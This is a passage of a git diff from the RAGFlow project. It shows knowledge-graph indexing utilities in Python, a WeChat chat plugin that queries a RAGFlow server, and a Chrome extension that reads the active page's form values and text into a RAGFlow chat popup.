g1.nodes[str(node_degree[0])]["rank"] = int(node_degree[1]) + # A graph's source_id indicates which documents it came from. + if "source_id" not in g1.graph: + g1.graph["source_id"] = [] + g1.graph["source_id"] += g2.graph.get("source_id", []) + return g1 + + +def compute_args_hash(*args): + return md5(str(args).encode()).hexdigest() + + +def handle_single_entity_extraction( + record_attributes: list[str], + chunk_key: str, +): + if len(record_attributes) < 4 or record_attributes[0] != '"entity"': + return None + # add this record as a node in the G + entity_name = clean_str(record_attributes[1].upper()) + if not entity_name.strip(): + return None + entity_type = clean_str(record_attributes[2].upper()) + entity_description = clean_str(record_attributes[3]) + entity_source_id = chunk_key + return dict( + entity_name=entity_name.upper(), + entity_type=entity_type.upper(), + description=entity_description, + source_id=entity_source_id, + ) + + +def handle_single_relationship_extraction(record_attributes: list[str], chunk_key: str): + if len(record_attributes) < 5 or record_attributes[0] != '"relationship"': + return None + # add this record as edge + source = clean_str(record_attributes[1].upper()) + target = clean_str(record_attributes[2].upper()) + edge_description = clean_str(record_attributes[3]) + + edge_keywords = clean_str(record_attributes[4]) + edge_source_id = chunk_key + weight = float(record_attributes[-1]) if is_float_regex(record_attributes[-1]) else 1.0 + pair = sorted([source.upper(), target.upper()]) + return dict( + src_id=pair[0], + tgt_id=pair[1], + weight=weight, + description=edge_description, + keywords=edge_keywords, + source_id=edge_source_id, + metadata={"created_at": time.time()}, + ) + + +def pack_user_ass_to_openai_messages(*args: str): + roles = ["user", "assistant"] + return [{"role": roles[i % 2], "content": content} for i, content in enumerate(args)] + + +def split_string_by_multi_markers(content: str, markers: list[str]) -> list[str]: + """Split a string by multiple markers""" + if not markers: + return [content] + results = re.split("|".join(re.escape(marker) for marker in markers), content) + return [r.strip() for r in results if r.strip()] + + +def is_float_regex(value): + return bool(re.match(r"^[-+]?[0-9]*\.?[0-9]+$", value)) + + +def chunk_id(chunk): + return xxhash.xxh64((chunk["content_with_weight"] + chunk["kb_id"]).encode("utf-8")).hexdigest() + + +async def graph_node_to_chunk(kb_id, embd_mdl, ent_name, meta, chunks): + global chat_limiter + enable_timeout_assertion = os.environ.get("ENABLE_TIMEOUT_ASSERTION") + chunk = { + "id": get_uuid(), + "important_kwd": [ent_name], + "title_tks": rag_tokenizer.tokenize(ent_name), + "entity_kwd": ent_name, + "knowledge_graph_kwd": "entity", + "entity_type_kwd": meta["entity_type"], + "content_with_weight": json.dumps(meta, ensure_ascii=False), + "content_ltks": rag_tokenizer.tokenize(meta["description"]), + "source_id": meta["source_id"], + "kb_id": kb_id, + "available_int": 0, + } + chunk["content_sm_ltks"] = rag_tokenizer.fine_grained_tokenize(chunk["content_ltks"]) + ebd = get_embed_cache(embd_mdl.llm_name, ent_name) + if ebd is None: + async with chat_limiter: + with trio.fail_after(3 if enable_timeout_assertion else 30000000): + ebd, _ = await trio.to_thread.run_sync(lambda: embd_mdl.encode([ent_name])) + ebd = ebd[0] + set_embed_cache(embd_mdl.llm_name, ent_name, ebd) + assert ebd is not None + chunk["q_%d_vec" % len(ebd)] = ebd + chunks.append(chunk) + + +@timeout(3, 3) +def get_relation(tenant_id, kb_id, from_ent_name, to_ent_name, size=1): + ents = from_ent_name + if isinstance(ents, str): + ents = [from_ent_name] + if isinstance(to_ent_name, str): + to_ent_name = [to_ent_name] + ents.extend(to_ent_name) + ents = list(set(ents)) + conds = {"fields": ["content_with_weight"], "size": size, "from_entity_kwd": ents, "to_entity_kwd": ents, "knowledge_graph_kwd": ["relation"]} + res = [] + es_res = settings.retrievaler.search(conds, search.index_name(tenant_id), [kb_id] if isinstance(kb_id, str) else kb_id) + for id in es_res.ids: + try: + if size == 1: + return json.loads(es_res.field[id]["content_with_weight"]) + res.append(json.loads(es_res.field[id]["content_with_weight"])) + except Exception: + continue + return res + + +async def graph_edge_to_chunk(kb_id, embd_mdl, from_ent_name, to_ent_name, meta, chunks): + enable_timeout_assertion = os.environ.get("ENABLE_TIMEOUT_ASSERTION") + chunk = { + "id": get_uuid(), + "from_entity_kwd": from_ent_name, + "to_entity_kwd": to_ent_name, + "knowledge_graph_kwd": "relation", + "content_with_weight": json.dumps(meta, ensure_ascii=False), + "content_ltks": rag_tokenizer.tokenize(meta["description"]), + "important_kwd": meta["keywords"], + "source_id": meta["source_id"], + "weight_int": int(meta["weight"]), + "kb_id": kb_id, + "available_int": 0, + } + chunk["content_sm_ltks"] = rag_tokenizer.fine_grained_tokenize(chunk["content_ltks"]) + txt = f"{from_ent_name}->{to_ent_name}" + ebd = get_embed_cache(embd_mdl.llm_name, txt) + if ebd is None: + async with chat_limiter: + with trio.fail_after(3 if enable_timeout_assertion else 300000000): + ebd, _ = await trio.to_thread.run_sync(lambda: embd_mdl.encode([txt + f": {meta['description']}"])) + ebd = ebd[0] + set_embed_cache(embd_mdl.llm_name, txt, ebd) + assert ebd is not None + chunk["q_%d_vec" % len(ebd)] = ebd + chunks.append(chunk) + + +async def does_graph_contains(tenant_id, kb_id, doc_id): + # Get doc_ids of graph + fields = ["source_id"] + condition = { + "knowledge_graph_kwd": ["graph"], + "removed_kwd": "N", + } + res = await trio.to_thread.run_sync(lambda: settings.docStoreConn.search(fields, [], condition, [], OrderByExpr(), 0, 1, search.index_name(tenant_id), [kb_id])) + fields2 = settings.docStoreConn.getFields(res, fields) + graph_doc_ids = set() + for chunk_id in fields2.keys(): + graph_doc_ids = set(fields2[chunk_id]["source_id"]) + return doc_id in graph_doc_ids + + +async def get_graph_doc_ids(tenant_id, kb_id) -> list[str]: + conds = {"fields": ["source_id"], "removed_kwd": "N", "size": 1, "knowledge_graph_kwd": ["graph"]} + res = await trio.to_thread.run_sync(lambda: settings.retrievaler.search(conds, search.index_name(tenant_id), [kb_id])) + doc_ids = [] + if res.total == 0: + return doc_ids + for id in res.ids: + doc_ids = res.field[id]["source_id"] + return doc_ids + + +async def get_graph(tenant_id, kb_id, exclude_rebuild=None): + conds = {"fields": ["content_with_weight", "removed_kwd", "source_id"], "size": 1, "knowledge_graph_kwd": ["graph"]} + res = await trio.to_thread.run_sync(settings.retrievaler.search, conds, search.index_name(tenant_id), [kb_id]) + if not res.total == 0: + for id in res.ids: + try: + if res.field[id]["removed_kwd"] == "N": + g = json_graph.node_link_graph(json.loads(res.field[id]["content_with_weight"]), edges="edges") + if "source_id" not in g.graph: + g.graph["source_id"] = res.field[id]["source_id"] + else: + g = await rebuild_graph(tenant_id, kb_id, exclude_rebuild) + return g + except Exception: + continue + result = None + return result + + +async def set_graph(tenant_id: str, kb_id: str, embd_mdl, graph: nx.Graph, change: GraphChange, callback): + global chat_limiter + start = trio.current_time() + + await trio.to_thread.run_sync(settings.docStoreConn.delete, {"knowledge_graph_kwd": ["graph", "subgraph"]}, search.index_name(tenant_id), kb_id) + + if change.removed_nodes: + await trio.to_thread.run_sync(settings.docStoreConn.delete, {"knowledge_graph_kwd": ["entity"], "entity_kwd": sorted(change.removed_nodes)}, search.index_name(tenant_id), kb_id) + + if change.removed_edges: + + async def del_edges(from_node, to_node): + async with chat_limiter: + await trio.to_thread.run_sync( + settings.docStoreConn.delete, {"knowledge_graph_kwd": ["relation"], "from_entity_kwd": from_node, "to_entity_kwd": to_node}, search.index_name(tenant_id), kb_id + ) + + async with trio.open_nursery() as nursery: + for from_node, to_node in change.removed_edges: + nursery.start_soon(del_edges, from_node, to_node) + + now = trio.current_time() + if callback: + callback(msg=f"set_graph removed {len(change.removed_nodes)} nodes and {len(change.removed_edges)} edges from index in {now - start:.2f}s.") + start = now + + chunks = [ + { + "id": get_uuid(), + "content_with_weight": json.dumps(nx.node_link_data(graph, edges="edges"), ensure_ascii=False), + "knowledge_graph_kwd": "graph", + "kb_id": kb_id, + "source_id": graph.graph.get("source_id", []), + "available_int": 0, + "removed_kwd": "N", + } + ] + + # generate updated subgraphs + for source in graph.graph["source_id"]: + subgraph = graph.subgraph([n for n in graph.nodes if source in graph.nodes[n]["source_id"]]).copy() + subgraph.graph["source_id"] = [source] + for n in subgraph.nodes: + subgraph.nodes[n]["source_id"] = [source] + chunks.append( + { + "id": get_uuid(), + "content_with_weight": json.dumps(nx.node_link_data(subgraph, edges="edges"), ensure_ascii=False), + "knowledge_graph_kwd": "subgraph", + "kb_id": kb_id, + "source_id": [source], + "available_int": 0, + "removed_kwd": "N", + } + ) + + async with trio.open_nursery() as nursery: + for ii, node in enumerate(change.added_updated_nodes): + node_attrs = graph.nodes[node] + nursery.start_soon(graph_node_to_chunk, kb_id, embd_mdl, node, node_attrs, chunks) + if ii % 100 == 9 and callback: + callback(msg=f"Get embedding of nodes: {ii}/{len(change.added_updated_nodes)}") + + async with trio.open_nursery() as nursery: + for ii, (from_node, to_node) in enumerate(change.added_updated_edges): + edge_attrs = graph.get_edge_data(from_node, to_node) + if not edge_attrs: + # added_updated_edges could record a non-existing edge if both from_node and to_node participate in nodes merging. + continue + nursery.start_soon(graph_edge_to_chunk, kb_id, embd_mdl, from_node, to_node, edge_attrs, chunks) + if ii % 100 == 9 and callback: + callback(msg=f"Get embedding of edges: {ii}/{len(change.added_updated_edges)}") + + now = trio.current_time() + if callback: + callback(msg=f"set_graph converted graph change to {len(chunks)} chunks in {now - start:.2f}s.") + start = now + + enable_timeout_assertion = os.environ.get("ENABLE_TIMEOUT_ASSERTION") + es_bulk_size = 4 + for b in range(0, len(chunks), es_bulk_size): + with trio.fail_after(3 if enable_timeout_assertion else 30000000): + doc_store_result = await trio.to_thread.run_sync(lambda: settings.docStoreConn.insert(chunks[b : b + es_bulk_size], search.index_name(tenant_id), kb_id)) + if b % 100 == es_bulk_size and callback: + callback(msg=f"Insert chunks: {b}/{len(chunks)}") + if doc_store_result: + error_message = f"Insert chunk error: {doc_store_result}, please check log file and Elasticsearch/Infinity status!" + raise Exception(error_message) + now = trio.current_time() + if callback: + callback(msg=f"set_graph added/updated {len(change.added_updated_nodes)} nodes and {len(change.added_updated_edges)} edges from index in {now - start:.2f}s.") + + +def is_continuous_subsequence(subseq, seq): + def find_all_indexes(tup, value): + indexes = [] + start = 0 + while True: + try: + index = tup.index(value, start) + indexes.append(index) + start = index + 1 + except ValueError: + break + return indexes + + index_list = find_all_indexes(seq, subseq[0]) + for idx in index_list: + if idx != len(seq) - 1: + if seq[idx + 1] == subseq[-1]: + return True + return False + + +def merge_tuples(list1, list2): + result = [] + for tup in list1: + last_element = tup[-1] + if last_element in tup[:-1]: + result.append(tup) + else: + matching_tuples = [t for t in list2 if t[0] == last_element] + already_match_flag = 0 + for match in matching_tuples: + matchh = (match[1], match[0]) + if is_continuous_subsequence(match, tup) or is_continuous_subsequence(matchh, tup): + continue + already_match_flag = 1 + merged_tuple = tup + match[1:] + result.append(merged_tuple) + if not already_match_flag: + result.append(tup) + return result + + +async def get_entity_type2samples(idxnms, kb_ids: list): + es_res = await trio.to_thread.run_sync(lambda: settings.retrievaler.search({"knowledge_graph_kwd": "ty2ents", "kb_id": kb_ids, "size": 10000, "fields": ["content_with_weight"]}, idxnms, kb_ids)) + + res = defaultdict(list) + for id in es_res.ids: + smp = es_res.field[id].get("content_with_weight") + if not smp: + continue + try: + smp = json.loads(smp) + except Exception as e: + logging.exception(e) + + for ty, ents in smp.items(): + res[ty].extend(ents) + return res + + +def flat_uniq_list(arr, key): + res = [] + for a in arr: + a = a[key] + if isinstance(a, list): + res.extend(a) + else: + res.append(a) + return list(set(res)) + + +async def rebuild_graph(tenant_id, kb_id, exclude_rebuild=None): + graph = nx.Graph() + flds = ["knowledge_graph_kwd", "content_with_weight", "source_id"] + bs = 256 + for i in range(0, 1024 * bs, bs): + es_res = await trio.to_thread.run_sync( + lambda: settings.docStoreConn.search(flds, [], {"kb_id": kb_id, "knowledge_graph_kwd": ["subgraph"]}, [], OrderByExpr(), i, bs, search.index_name(tenant_id), [kb_id]) + ) + # tot = settings.docStoreConn.getTotal(es_res) + es_res = settings.docStoreConn.getFields(es_res, flds) + + if len(es_res) == 0: + break + + for id, d in es_res.items(): + assert d["knowledge_graph_kwd"] == "subgraph" + if isinstance(exclude_rebuild, list): + if sum([n in d["source_id"] for n in exclude_rebuild]): + continue + elif exclude_rebuild in d["source_id"]: + continue + + next_graph = json_graph.node_link_graph(json.loads(d["content_with_weight"]), edges="edges") + merged_graph = nx.compose(graph, next_graph) + merged_source = {n: graph.nodes[n]["source_id"] + next_graph.nodes[n]["source_id"] for n in graph.nodes & next_graph.nodes} + nx.set_node_attributes(merged_graph, merged_source, "source_id") + if "source_id" in graph.graph: + merged_graph.graph["source_id"] = graph.graph["source_id"] + next_graph.graph["source_id"] + else: + merged_graph.graph["source_id"] = next_graph.graph["source_id"] + graph = merged_graph + + if len(graph.nodes) == 0: + return None + graph.graph["source_id"] = sorted(graph.graph["source_id"]) + return graph diff --git a/intergrations/chatgpt-on-wechat/plugins/README.md b/intergrations/chatgpt-on-wechat/plugins/README.md new file mode 100644 index 0000000..c09643e --- /dev/null +++ b/intergrations/chatgpt-on-wechat/plugins/README.md @@ -0,0 +1,57 @@ +RAGFlow Chat Plugin for ChatGPT-on-WeChat +========================================= + +This folder contains the source code for the `ragflow_chat` plugin, which extends the core functionality of the RAGFlow API to support conversational interactions using Retrieval-Augmented Generation (RAG). This plugin integrates seamlessly with the [ChatGPT-on-WeChat](https://github.com/zhayujie/chatgpt-on-wechat) project, enabling WeChat and other platforms to leverage the knowledge retrieval capabilities provided by RAGFlow in chat interactions. + +### Features +* **Conversational Interactions**: Combine WeChat's conversational interface with powerful RAG (Retrieval-Augmented Generation) capabilities. +* **Knowledge-Based Responses**: Enrich conversations by retrieving relevant data from external knowledge sources and incorporating them into chat responses. +* **Multi-Platform Support**: Works across WeChat, WeCom, and various other platforms supported by the ChatGPT-on-WeChat framework. + +### Plugin vs. ChatGPT-on-WeChat Configurations +**Note**: There are two distinct configuration files used in this setup—one for the ChatGPT-on-WeChat core project and another specific to the `ragflow_chat` plugin. It is important to configure both correctly to ensure smooth integration. + +#### ChatGPT-on-WeChat Root Configuration (`config.json`) +This file is located in the root directory of the [ChatGPT-on-WeChat](https://github.com/zhayujie/chatgpt-on-wechat) project and is responsible for defining the communication channels and overall behavior. For example, it handles the configuration for WeChat, WeCom, and other services like Feishu and DingTalk. + +Example `config.json` (for WeChat channel): +```json +{ + "channel_type": "wechatmp", + "wechatmp_app_id": "YOUR_APP_ID", + "wechatmp_app_secret": "YOUR_APP_SECRET", + "wechatmp_token": "YOUR_TOKEN", + "wechatmp_port": 80, + ... +} +``` + +This file can also be modified to support other communication platforms, such as: +- **Personal WeChat** (`channel_type: wx`) +- **WeChat Public Account** (`wechatmp` or `wechatmp_service`) +- **WeChat Work (WeCom)** (`wechatcom_app`) +- **Feishu** (`feishu`) +- **DingTalk** (`dingtalk`) + +For detailed configuration options, see the official [LinkAI documentation](https://docs.link-ai.tech/cow/multi-platform/wechat-mp). + +#### RAGFlow Chat Plugin Configuration (`plugins/ragflow_chat/config.json`) +This configuration is specific to the `ragflow_chat` plugin and is used to set up communication with the RAGFlow server. Ensure that your RAGFlow server is running, and update the plugin's `config.json` file with your server details: + +Example `config.json` (for `ragflow_chat`): +```json +{ + "ragflow_api_key": "YOUR_API_KEY", + "ragflow_host": "127.0.0.1:80" +} +``` + +This file must be configured to point to your RAGFlow instance, with the `ragflow_api_key` and `ragflow_host` fields set appropriately. The `ragflow_host` is typically your server's address and port number, and the `ragflow_api_key` is obtained from your RAGFlow API setup. + +### Requirements +Before you can use this plugin, ensure the following are in place: + +1. You have installed and configured [ChatGPT-on-WeChat](https://github.com/zhayujie/chatgpt-on-wechat). +2. You have deployed and are running the [RAGFlow](https://github.com/infiniflow/ragflow) server. + +Make sure both `config.json` files (ChatGPT-on-WeChat and RAGFlow Chat Plugin) are correctly set up as per the examples above. diff --git a/intergrations/chatgpt-on-wechat/plugins/__init__.py b/intergrations/chatgpt-on-wechat/plugins/__init__.py new file mode 100644 index 0000000..557f0d1 --- /dev/null +++ b/intergrations/chatgpt-on-wechat/plugins/__init__.py @@ -0,0 +1,24 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +from beartype.claw import beartype_this_package +beartype_this_package() + +from .ragflow_chat import RAGFlowChat + +__all__ = [ + "RAGFlowChat" +] diff --git a/intergrations/chatgpt-on-wechat/plugins/config.json b/intergrations/chatgpt-on-wechat/plugins/config.json new file mode 100644 index 0000000..b09ff72 --- /dev/null +++ b/intergrations/chatgpt-on-wechat/plugins/config.json @@ -0,0 +1,4 @@ +{ + "api_key": "ragflow-***", + "host_address": "127.0.0.1:80" +} diff --git a/intergrations/chatgpt-on-wechat/plugins/ragflow_chat.py b/intergrations/chatgpt-on-wechat/plugins/ragflow_chat.py new file mode 100644 index 0000000..fe96f39 --- /dev/null +++ b/intergrations/chatgpt-on-wechat/plugins/ragflow_chat.py @@ -0,0 +1,127 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import logging +import requests +from bridge.context import ContextType # Import Context, ContextType +from bridge.reply import Reply, ReplyType # Import Reply, ReplyType +from plugins import Plugin, register # Import Plugin and register +from plugins.event import Event, EventContext, EventAction # Import event-related classes + +@register(name="RAGFlowChat", desc="Use RAGFlow API to chat", version="1.0", author="Your Name") +class RAGFlowChat(Plugin): + def __init__(self): + super().__init__() + # Load plugin configuration + self.cfg = self.load_config() + # Bind event handling function + self.handlers[Event.ON_HANDLE_CONTEXT] = self.on_handle_context + # Store conversation_id for each user + self.conversations = {} + logging.info("[RAGFlowChat] Plugin initialized") + + def on_handle_context(self, e_context: EventContext): + context = e_context['context'] + if context.type != ContextType.TEXT: + return # Only process text messages + + user_input = context.content.strip() + session_id = context['session_id'] + + # Call RAGFlow API to get a reply + reply_text = self.get_ragflow_reply(user_input, session_id) + if reply_text: + reply = Reply() + reply.type = ReplyType.TEXT + reply.content = reply_text + e_context['reply'] = reply + e_context.action = EventAction.BREAK_PASS # Skip the default processing logic + else: + # If no reply is received, pass to the next plugin or default logic + e_context.action = EventAction.CONTINUE + + def get_ragflow_reply(self, user_input, session_id): + # Get API_KEY and host address from the configuration + api_key = self.cfg.get("api_key") + host_address = self.cfg.get("host_address") + user_id = session_id # Use session_id as user_id + + if not api_key or not host_address: + logging.error("[RAGFlowChat] Missing configuration") + return "The plugin configuration is incomplete. Please check the configuration." + + headers = { + "Authorization": f"Bearer {api_key}", + "Content-Type": "application/json" + } + + # Step 1: Get or create conversation_id + conversation_id = self.conversations.get(user_id) + if not conversation_id: + # Create a new conversation + url_new_conversation = f"http://{host_address}/v1/api/new_conversation" + params_new_conversation = { + "user_id": user_id + } + try: + response = requests.get(url_new_conversation, headers=headers, params=params_new_conversation) + logging.debug(f"[RAGFlowChat] New conversation response: {response.text}") + if response.status_code == 200: + data = response.json() + if data.get("code") == 0: + conversation_id = data["data"]["id"] + self.conversations[user_id] = conversation_id + else: + logging.error(f"[RAGFlowChat] Failed to create conversation: {data.get('message')}") + return f"Sorry, unable to create a conversation: {data.get('message')}" + else: + logging.error(f"[RAGFlowChat] HTTP error when creating conversation: {response.status_code}") + return f"Sorry, unable to connect to RAGFlow API (create conversation). HTTP status code: {response.status_code}" + except Exception as e: + logging.exception("[RAGFlowChat] Exception when creating conversation") + return f"Sorry, an internal error occurred: {str(e)}" + + # Step 2: Send the message and get a reply + url_completion = f"http://{host_address}/v1/api/completion" + payload_completion = { + "conversation_id": conversation_id, + "messages": [ + { + "role": "user", + "content": user_input + } + ], + "quote": False, + "stream": False + } + + try: + response = requests.post(url_completion, headers=headers, json=payload_completion) + logging.debug(f"[RAGFlowChat] Completion response: {response.text}") + if response.status_code == 200: + data = response.json() + if data.get("code") == 0: + answer = data["data"]["answer"] + return answer + else: + logging.error(f"[RAGFlowChat] Failed to get answer: {data.get('message')}") + return f"Sorry, unable to get a reply: {data.get('message')}" + else: + logging.error(f"[RAGFlowChat] HTTP error when getting answer: {response.status_code}") + return f"Sorry, unable to connect to RAGFlow API (get reply). HTTP status code: {response.status_code}" + except Exception as e: + logging.exception("[RAGFlowChat] Exception when getting answer") + return f"Sorry, an internal error occurred: {str(e)}" diff --git a/intergrations/chatgpt-on-wechat/plugins/requirements.txt b/intergrations/chatgpt-on-wechat/plugins/requirements.txt new file mode 100644 index 0000000..f229360 --- /dev/null +++ b/intergrations/chatgpt-on-wechat/plugins/requirements.txt @@ -0,0 +1 @@ +requests diff --git a/intergrations/extension_chrome/README.md b/intergrations/extension_chrome/README.md new file mode 100644 index 0000000..63221b0 --- /dev/null +++ b/intergrations/extension_chrome/README.md @@ -0,0 +1,45 @@ +# Chrome Extension +``` +chrome-extension/ +│ +├── manifest.json         # Main configuration file for the extension +├── popup.html          # Main user interface of the extension +├── popup.js            # Script for the main interface +├── background.js       # Background script for the extension +├── content.js          # Script to interact with web pages +├── styles/ +│   └── popup.css       # CSS file for the popup +├── icons/ +│   ├── icon16.png      # 16x16 pixel icon +│   ├── icon48.png      # 48x48 pixel icon +│   └── icon128.png     # 128x128 pixel icon +├── assets/ +│   └── ...             # Directory for other assets (images, fonts, etc.) +├── scripts/ +│   ├── utils.js        # File containing utility functions +│   └── api.js          # File containing API call logic +└── README.md           # Instructions for using and installing the extension +``` + +# Installation +1. Open chrome://extensions/. +2. Enable Developer mode. +3. Click Load unpacked and select the project directory. +# Features +1. Interact with web pages. +2. Run in the background to handle logic. +# Usage +- Click the extension icon in the toolbar. +- Follow the instructions in the interface. +# Additional Notes +- **manifest.json**: This file is crucial as it defines the extension's metadata, permissions, and entry points. +- **background.js**: This script runs independently of any web page and can perform tasks such as listening for browser events, making network requests, and storing data. +- **content.js**: This script injects code into web pages to manipulate the DOM, modify styles, or communicate with the background script. +- **popup.html/popup.js**: These files create the popup that appears when the user clicks the extension icon. +icons: These icons are used to represent the extension in the browser's UI. +More Detailed Explanation +- **manifest.json**: Specifies the extension's name, version, permissions, and other details. It also defines the entry points for the background script, content scripts, and the popup. +- **background.js**: Handles tasks that need to run continuously, such as syncing data, listening for browser events, or controlling the extension's behavior. +- **content.js**: Interacts directly with the web page's DOM, allowing you to modify the content, style, or behavior of the page. +- **popup.html/popup.js**: Creates a user interface that allows users to interact with the extension. +Other files: These files can contain additional scripts, styles, or assets that are used by the extension. diff --git a/intergrations/extension_chrome/assets/logo-with-text.png b/intergrations/extension_chrome/assets/logo-with-text.png new file mode 100644 index 0000000..b55b5e0 Binary files /dev/null and b/intergrations/extension_chrome/assets/logo-with-text.png differ diff --git a/intergrations/extension_chrome/assets/logo.png b/intergrations/extension_chrome/assets/logo.png new file mode 100644 index 0000000..6591b28 Binary files /dev/null and b/intergrations/extension_chrome/assets/logo.png differ diff --git a/intergrations/extension_chrome/assets/logo.svg b/intergrations/extension_chrome/assets/logo.svg new file mode 100644 index 0000000..54167d2 --- /dev/null +++ b/intergrations/extension_chrome/assets/logo.svg @@ -0,0 +1,29 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/intergrations/extension_chrome/background.js b/intergrations/extension_chrome/background.js new file mode 100644 index 0000000..3ed9644 --- /dev/null +++ b/intergrations/extension_chrome/background.js @@ -0,0 +1,17 @@ +chrome.runtime.onInstalled.addListener(() => { + console.log("Tiện ích đã được cài đặt!"); +}); + +chrome.runtime.onMessage.addListener((message, sender, sendResponse) => { + if (message.action === "PAGE_INFO") { + console.log( message); + + + chrome.storage.local.set({ pageInfo: message }, () => { + console.log("Page info saved to local storage."); + }); + + // Send a response to the content script + sendResponse({ status: "success", message: "Page info received and processed." }); + } +}); \ No newline at end of file diff --git a/intergrations/extension_chrome/content.js b/intergrations/extension_chrome/content.js new file mode 100644 index 0000000..b77c968 --- /dev/null +++ b/intergrations/extension_chrome/content.js @@ -0,0 +1,68 @@ +(function () { + const extractElementData = (el) => { + const tag = el.tagName.toLowerCase(); + if ( + tag === "input" && + el.name !== "DXScript" && + el.name !== "DXMVCEditorsValues" && + el.name !== "DXCss" + ) { + return { + type: "input", + name: el.name, + value: + el.type === "checkbox" || el.type === "radio" + ? el.checked + ? el.value + : null + : el.value, + }; + } else if (tag === "select") { + const selectedOption = el.querySelector("option:checked"); + return { + type: "select", + name: el.name, + value: selectedOption ? selectedOption.value : null, + }; + } else if (tag.startsWith("h") && el.textContent.trim()) { + return { type: "header", tag, content: el.textContent.trim() }; + } else if ( + ["label", "span", "p", "b", "strong"].includes(tag) && + el.textContent.trim() + ) { + return { type: tag, content: el.textContent.trim() }; + } + }; + + const getElementValues = (els) => + Array.from(els).map(extractElementData).filter(Boolean); + + const getIframeInputValues = (iframe) => { + try { + const iframeDoc = iframe.contentWindow.document; + return getElementValues( + iframeDoc.querySelectorAll("input, select, header, label, span, p") + ); + } catch (e) { + console.error("Can't access iframe:", e); + return []; + } + }; + + const inputValues = getElementValues( + document.querySelectorAll("input, select, header, label, span, p") + ); + const iframeInputValues = Array.from(document.querySelectorAll("iframe")).map( + getIframeInputValues + ); + + return ` + ## input values\n + \`\`\`json\n + ${JSON.stringify(inputValues)}\n + \`\`\`\n + ## iframe input values\n + \`\`\`json\n + ${JSON.stringify(iframeInputValues)}\n + \`\`\``; +})(); diff --git a/intergrations/extension_chrome/icons/icon-128x128.png b/intergrations/extension_chrome/icons/icon-128x128.png new file mode 100644 index 0000000..500b27a Binary files /dev/null and b/intergrations/extension_chrome/icons/icon-128x128.png differ diff --git a/intergrations/extension_chrome/icons/icon-16x16.png b/intergrations/extension_chrome/icons/icon-16x16.png new file mode 100644 index 0000000..817f811 Binary files /dev/null and b/intergrations/extension_chrome/icons/icon-16x16.png differ diff --git a/intergrations/extension_chrome/icons/icon-48x48.png b/intergrations/extension_chrome/icons/icon-48x48.png new file mode 100644 index 0000000..9094667 Binary files /dev/null and b/intergrations/extension_chrome/icons/icon-48x48.png differ diff --git a/intergrations/extension_chrome/manifest.json b/intergrations/extension_chrome/manifest.json new file mode 100644 index 0000000..e30b89c --- /dev/null +++ b/intergrations/extension_chrome/manifest.json @@ -0,0 +1,34 @@ +{ + "manifest_version": 3, + "name": "Ragflow Extension", + "description": "Ragflow for Chrome", + "version": "1.0", + "options_page": "options.html", + + "permissions": ["activeTab", "scripting", "storage"], + "background": { + "service_worker": "background.js" + }, + + "action": { + "default_popup": "popup.html", + "default_icon": { + "16": "icons/icon-16x16.png", + "48": "icons/icon-48x48.png", + "128": "icons/icon-128x128.png" + } + }, + + "content_scripts": [ + { + "matches": [""], + "js": ["content.js"], + "css": ["styles/popup.css"] + } + ], + "icons": { + "16": "icons/icon-16x16.png", + "48": "icons/icon-48x48.png", + "128": "icons/icon-128x128.png" + } +} diff --git a/intergrations/extension_chrome/options.html b/intergrations/extension_chrome/options.html new file mode 100644 index 0000000..b39625a --- /dev/null +++ b/intergrations/extension_chrome/options.html @@ -0,0 +1,39 @@ + + + + + + + RagFlow option + + + + +
+
+ +
+
+ + + + + + + + + + + + + + +
+
+ + + + \ No newline at end of file diff --git a/intergrations/extension_chrome/options.js b/intergrations/extension_chrome/options.js new file mode 100644 index 0000000..d72a942 --- /dev/null +++ b/intergrations/extension_chrome/options.js @@ -0,0 +1,36 @@ +document.addEventListener("DOMContentLoaded", () => { + + chrome.storage.sync.get(["baseURL", "from", "auth", "sharedID"], (result) => { + if (result.baseURL) { + document.getElementById("base-url").value = result.baseURL; + } + if (result.from) { + document.getElementById("from").value = result.from; + } + if (result.auth) { + document.getElementById("auth").value = result.auth; + } + if (result.sharedID) { + document.getElementById("shared-id").value = result.sharedID; + } + }); + + document.getElementById("save-config").addEventListener("click", () => { + const baseURL = document.getElementById("base-url").value; + const from = document.getElementById("from").value; + const auth = document.getElementById("auth").value; + const sharedID = document.getElementById("shared-id").value; + + chrome.storage.sync.set( + { + baseURL: baseURL, + from: from, + auth: auth, + sharedID: sharedID, + }, + () => { + alert("Successfully saved"); + } + ); + }); +}); diff --git a/intergrations/extension_chrome/popup.html b/intergrations/extension_chrome/popup.html new file mode 100644 index 0000000..c69d010 --- /dev/null +++ b/intergrations/extension_chrome/popup.html @@ -0,0 +1,20 @@ + + + + + + + RAGFLOW + + + + +
+ + +
+ + + + \ No newline at end of file diff --git a/intergrations/extension_chrome/popup.js b/intergrations/extension_chrome/popup.js new file mode 100644 index 0000000..0a8bdab --- /dev/null +++ b/intergrations/extension_chrome/popup.js @@ -0,0 +1,24 @@ +document.addEventListener("DOMContentLoaded", () => { + chrome.storage.sync.get(["baseURL", "from", "auth", "sharedID"], (result) => { + if (result.baseURL && result.sharedID && result.from && result.auth) { + const iframeSrc = `${result.baseURL}chat/share?shared_id=${result.sharedID}&from=${result.from}&auth=${result.auth}`; + const iframe = document.querySelector("iframe"); + iframe.src = iframeSrc; + } + }); + chrome.tabs.query({ active: true, currentWindow: true }, (tabs) => { + chrome.scripting.executeScript( + { + target: { tabId: tabs[0].id }, + files: ["content.js"], + }, + (results) => { + if (results && results[0]) { + const getHtml = document.getElementById("getHtml"); + getHtml.value = results[0].result; + + } + } + ); + }); +}); diff --git a/intergrations/extension_chrome/styles/options.css b/intergrations/extension_chrome/styles/options.css new file mode 100644 index 